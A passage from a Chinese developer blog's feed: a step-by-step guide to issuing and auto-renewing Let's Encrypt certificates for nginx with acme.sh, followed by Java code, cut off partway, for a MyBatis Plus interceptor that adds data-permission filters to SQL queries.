    <content type="html"><![CDATA[<h2 id="安装acme-sh"><a href="http://xn--acme-ke9g492u.sh">安装acme.sh</a></h2><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">curl https://get.acme.sh | sh</span><br><span class="line"><span class="comment"># 国内</span></span><br><span class="line">curl https://gitee.com/neilpang/acme.sh | sh</span><br><span class="line"><span class="built_in">source</span> ~/.bashrc</span><br><span class="line"></span><br><span class="line"><span class="comment"># 开启自动升级</span></span><br><span class="line">acme.sh  --upgrade  --auto-upgrade</span><br></pre></td></tr></table></figure><h2 id="升级CA">升级CA</h2><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum update ca-certificates</span><br></pre></td></tr></table></figure><h2 id="将acme切换到Let’s-Encrypt的CA">将acme切换到Let’s Encrypt的CA</h2><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">acme.sh --set-default-ca --server letsencrypt</span><br></pre></td></tr></table></figure><h2 id="签发证书">签发证书</h2><p>因为我的nginx 443反代到一个网站，80端口是空闲的，所以我下面使用的是acme.sh伪装自己为一个webserver的方式，<a href="https://github.com/acmesh-official/acme.sh/wiki/%E8%AF%B4%E6%98%8E">其他方式</a></p><h3 id="防火墙放开80端口">防火墙放开80端口</h3><h3 id="安装socat">安装socat</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum install socat</span><br></pre></td></tr></table></figure><h3 id="签发证书-2">签发证书</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">acme.sh --issue -d 需要签发的域名 --standalone</span><br></pre></td></tr></table></figure><h3 id="安装证书到指定目录-并执行新域名后需要重启的应用-如xray-nginx。acme-sh将记住操作并">安装证书到指定目录,并执行新域名后需要重启的应用,如xray,nginx。acme.sh将记住操作并</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">~/.acme.sh/acme.sh --install-cert -d 需要签发的域名 \</span><br><span class="line">--key-file       /usr/local/nginx/ssl/需要签发的域名.key  \</span><br><span class="line">--fullchain-file /usr/local/nginx/ssl/需要签发的域名.key.pem \</span><br><span class="line">--reloadcmd     <span class="string">&quot;service nginx force-reload&quot;</span></span><br></pre></td></tr></table></figure><p>(一个小提醒, 这里用的是 <code>service nginx force-reload</code>, 不是 <code>service nginx reload</code>, 据测试, <code>reload</code> 并不会重新加载证书, 所以用的 <code>force-reload</code>)</p><p>Nginx 的配置 <code>ssl_certificate</code> 使用 <code>/etc/nginx/ssl/fullchain.cer</code> ，而非 <code>/etc/nginx/ssl/&lt;domain&gt;.cer</code> ，否则 <a href="https://www.ssllabs.com/ssltest/">SSL Labs</a> 的测试会报 <code>Chain issues Incomplete</code> 错误。</p><p><code>--install-cert</code>命令可以携带很多参数, 来指定目标文件. 并且可以指定 reloadcmd, 当证书更新以后, reloadcmd会被自动调用,让服务器生效。</p><h2 id="查看定时任务确保会自动执行">查看定时任务确保会自动执行</h2><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">crontab  -l</span><br></pre></td></tr></table></figure><h2 id="查看已安装的证书信息">查看已安装的证书信息</h2><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">acme.sh --info -d 需要签发的域名</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/4fd32a22d600a317110dab66edbd9a9b.png" alt="image-20230411173543741"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;安装acme-sh&quot;&gt;&lt;a href=&quot;http://xn--acme-ke9g492u.sh&quot;&gt;安装acme.sh&lt;/a&gt;&lt;/h2&gt;
&lt;figure class=&quot;highlight sh&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;</summary>
      
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="nginx" scheme="https://blog.allbs.cn/tags/nginx/"/>
    
    <category term="ssl" scheme="https://blog.allbs.cn/tags/ssl/"/>
    
  </entry>
  
  <entry>
    <title>spring boot+mybatis plus进行sql拦截实现权限过滤，使用mybatis plus的DataPermissionHandler</title>
    <link href="https://blog.allbs.cn/posts/36543/"/>
    <id>https://blog.allbs.cn/posts/36543/</id>
    <published>2023-03-29T03:33:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<div class="note green icon-padding flat"><i class="note-icon fas fa-rocket"></i><p>📃 关联文档</p><p><a href="/posts/45308/" title="spring boot+mybatis plus进行sql拦截实现权限过滤">📄 前置文档</a></p><p><a href="/posts/58292/" title="spring boot+mybatis plus进行sql拦截实现权限过滤，优化升级">📄 前置文档</a></p></div><h2 id="自定义一个AllbsDataPermissionHandler，使用mybatis-plus自带的是可以的，主要考虑到后面还有其他自定义效果，所以单独写了一个">自定义一个AllbsDataPermissionHandler，使用mybatis plus自带的是可以的，主要考虑到后面还有其他自定义效果，所以单独写了一个</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.Expression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.schema.Table;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 接口 AllbsDataPermissionHandler</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2023/3/28</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">AllbsDataPermissionHandler</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取数据权限 SQL 片段</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> table             表相关信息</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> where             待执行 SQL Where 条件表达式</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> mappedStatementId Mybatis MappedStatement Id 根据该参数可以判断具体执行方法</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> JSqlParser 条件表达式，返回的条件表达式会覆盖原有的条件表达式</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    Expression <span class="title function_">getSqlSegment</span><span class="params">(<span class="keyword">final</span> Table table, Expression where, String mappedStatementId)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="将mybatis-plus中的PluginUtils工具类抽出使用，主要是为了解决其中方法jdk17不兼容的问题">将mybatis plus中的<code>PluginUtils</code>工具类抽出使用，主要是为了解决其中方法jdk17不兼容的问题</h2><p>当然以下代码还没改，后续更改了之后文档再更新</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.ibatis.executor.Executor;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.executor.parameter.ParameterHandler;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.executor.statement.StatementHandler;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.BoundSql;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.MappedStatement;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.ParameterMapping;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.reflection.MetaObject;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.reflection.SystemMetaObject;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.session.Configuration;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"><span class="keyword">import</span> java.util.ArrayList;</span><br><span class="line"><span class="keyword">import</span> java.util.Collections;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 说明: 从mybatis plus中抽出来主要是为了解决jdk17不兼容 realTarget 方法的问题、减少cpu占用</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">abstract</span> <span class="keyword">class</span> <span class="title class_">PluginUtils</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">DELEGATE_BOUNDSQL_SQL</span> <span class="operator">=</span> <span class="string">&quot;delegate.boundSql.sql&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获得真正的处理对象,可能多层代理.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@SuppressWarnings(&quot;unchecked&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; T <span class="title function_">realTarget</span><span class="params">(Object target)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (Proxy.isProxyClass(target.getClass())) &#123;</span><br><span class="line">            <span class="type">MetaObject</span> <span class="variable">metaObject</span> <span class="operator">=</span> SystemMetaObject.forObject(target);</span><br><span class="line">            <span class="keyword">return</span> realTarget(metaObject.getValue(<span class="string">&quot;h.target&quot;</span>));</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> (T) target;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 给 BoundSql 设置 additionalParameters</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> boundSql             BoundSql</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> additionalParameters additionalParameters</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setAdditionalParameter</span><span class="params">(BoundSql boundSql, Map&lt;String, Object&gt; additionalParameters)</span> &#123;</span><br><span class="line">        additionalParameters.forEach(boundSql::setAdditionalParameter);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> PluginUtils.MPBoundSql <span class="title function_">mpBoundSql</span><span class="params">(BoundSql boundSql)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">PluginUtils</span>.MPBoundSql(boundSql);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> PluginUtils.MPStatementHandler <span class="title function_">mpStatementHandler</span><span class="params">(StatementHandler statementHandler)</span> &#123;</span><br><span class="line">        statementHandler = realTarget(statementHandler);</span><br><span class="line">        <span class="type">MetaObject</span> <span class="variable">object</span> <span class="operator">=</span> SystemMetaObject.forObject(statementHandler);</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">PluginUtils</span>.MPStatementHandler(SystemMetaObject.forObject(object.getValue(<span class="string">&quot;delegate&quot;</span>)));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * &#123;<span class="doctag">@link</span> org.apache.ibatis.executor.statement.BaseStatementHandler&#125;</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">MPStatementHandler</span> &#123;</span><br><span class="line">        <span class="keyword">private</span> <span class="keyword">final</span> MetaObject statementHandler;</span><br><span class="line"></span><br><span class="line">        MPStatementHandler(MetaObject statementHandler) &#123;</span><br><span class="line">            <span class="built_in">this</span>.statementHandler = statementHandler;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> ParameterHandler <span class="title function_">parameterHandler</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> get(<span class="string">&quot;parameterHandler&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> MappedStatement <span class="title function_">mappedStatement</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> get(<span class="string">&quot;mappedStatement&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> Executor <span class="title function_">executor</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> get(<span class="string">&quot;executor&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> PluginUtils.MPBoundSql <span class="title function_">mPBoundSql</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">PluginUtils</span>.MPBoundSql(boundSql());</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> BoundSql <span class="title function_">boundSql</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> get(<span class="string">&quot;boundSql&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> Configuration <span class="title function_">configuration</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> get(<span class="string">&quot;configuration&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@SuppressWarnings(&quot;unchecked&quot;)</span></span><br><span class="line">        <span class="keyword">private</span> &lt;T&gt; T <span class="title function_">get</span><span class="params">(String property)</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> (T) statementHandler.getValue(property);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * &#123;<span class="doctag">@link</span> BoundSql&#125;</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">MPBoundSql</span> &#123;</span><br><span class="line">        <span class="keyword">private</span> <span class="keyword">final</span> MetaObject boundSql;</span><br><span class="line">        <span class="keyword">private</span> <span class="keyword">final</span> BoundSql delegate;</span><br><span class="line"></span><br><span class="line">        MPBoundSql(BoundSql boundSql) &#123;</span><br><span class="line">            <span class="built_in">this</span>.delegate = boundSql;</span><br><span class="line">            <span class="built_in">this</span>.boundSql = SystemMetaObject.forObject(boundSql);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> String <span class="title function_">sql</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> delegate.getSql();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sql</span><span class="params">(String sql)</span> &#123;</span><br><span class="line">            boundSql.setValue(<span class="string">&quot;sql&quot;</span>, sql);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> List&lt;ParameterMapping&gt; <span class="title function_">parameterMappings</span><span class="params">()</span> &#123;</span><br><span class="line">            List&lt;ParameterMapping&gt; parameterMappings = delegate.getParameterMappings();</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(parameterMappings);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">parameterMappings</span><span class="params">(List&lt;ParameterMapping&gt; parameterMappings)</span> &#123;</span><br><span class="line">            boundSql.setValue(<span class="string">&quot;parameterMappings&quot;</span>, Collections.unmodifiableList(parameterMappings));</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> Object <span class="title function_">parameterObject</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> get(<span class="string">&quot;parameterObject&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> Map&lt;String, Object&gt; <span class="title function_">additionalParameters</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> get(<span class="string">&quot;additionalParameters&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@SuppressWarnings(&quot;unchecked&quot;)</span></span><br><span class="line">        <span class="keyword">private</span> &lt;T&gt; T <span class="title function_">get</span><span class="params">(String property)</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> (T) boundSql.getValue(property);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="自定义一个注解，用于标注实体类中的需要过滤的字段">自定义一个注解，用于标注实体类中的需要过滤的字段</h2><p>目前只取获取到的第一个字段，你要是标多个我也没办法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.lang.annotation.*;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 注解 ScopeField</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2023/3/28</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Documented</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="meta">@Target(&#123;ElementType.FIELD, ElementType.ANNOTATION_TYPE&#125;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> ScopeField &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 字段名（该值可无）</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    String <span class="title function_">value</span><span class="params">()</span> <span class="keyword">default</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="数据权限处理器">数据权限处理器</h2><p>用于传递重新拼sql时所需的一些参数，新增的情况暂时还未处理，后续继续更新</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.plugins.InterceptorIgnoreHelper;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.extension.parser.JsqlParserSupport;</span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.extension.plugins.inner.InnerInterceptor;</span><br><span class="line"><span class="keyword">import</span> lombok.*;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.expression.Expression;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.schema.Table;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.delete.Delete;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.insert.Insert;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.select.PlainSelect;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.select.Select;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.select.SelectBody;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.select.SetOperationList;</span><br><span class="line"><span class="keyword">import</span> net.sf.jsqlparser.statement.update.Update;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.executor.statement.StatementHandler;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.MappedStatement;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.SqlCommandType;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.sql.Connection;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 数据权限处理器</span></span><br><span class="line"><span class="comment"> * 类 DataPermissionInterceptor</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2023/3/28</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@NoArgsConstructor</span></span><br><span class="line"><span class="meta">@AllArgsConstructor</span></span><br><span class="line"><span class="meta">@ToString(callSuper = true)</span></span><br><span class="line"><span class="meta">@EqualsAndHashCode(callSuper = true)</span></span><br><span class="line"><span class="meta">@SuppressWarnings(&#123;&quot;rawtypes&quot;&#125;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataPermissionInterceptor</span> <span class="keyword">extends</span> <span class="title class_">JsqlParserSupport</span> <span class="keyword">implements</span> <span class="title class_">InnerInterceptor</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> AllbsDataPermissionHandler dataPermissionHandler;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">beforePrepare</span><span class="params">(StatementHandler sh, Connection connection, Integer transactionTimeout)</span> &#123;</span><br><span class="line">        PluginUtils.<span class="type">MPStatementHandler</span> <span class="variable">mpSh</span> <span class="operator">=</span> PluginUtils.mpStatementHandler(sh);</span><br><span class="line">        <span class="type">MappedStatement</span> <span class="variable">ms</span> <span class="operator">=</span> mpSh.mappedStatement();</span><br><span class="line">        <span class="type">SqlCommandType</span> <span class="variable">sct</span> <span class="operator">=</span> ms.getSqlCommandType();</span><br><span class="line">        <span class="keyword">if</span> (sct == SqlCommandType.UPDATE || sct == SqlCommandType.DELETE || sct == SqlCommandType.SELECT) &#123;</span><br><span class="line">            <span class="keyword">if</span> (InterceptorIgnoreHelper.willIgnoreDataPermission(ms.getId())) &#123;</span><br><span class="line">                <span class="keyword">return</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            PluginUtils.<span class="type">MPBoundSql</span> <span class="variable">mpBs</span> <span class="operator">=</span> mpSh.mPBoundSql();</span><br><span class="line">            mpBs.sql(parserMulti(mpBs.sql(), ms.getId()));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 查询</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">processSelect</span><span class="params">(Select select, <span class="type">int</span> index, String sql, Object obj)</span> &#123;</span><br><span class="line">        <span class="type">SelectBody</span> <span class="variable">selectBody</span> <span class="operator">=</span> 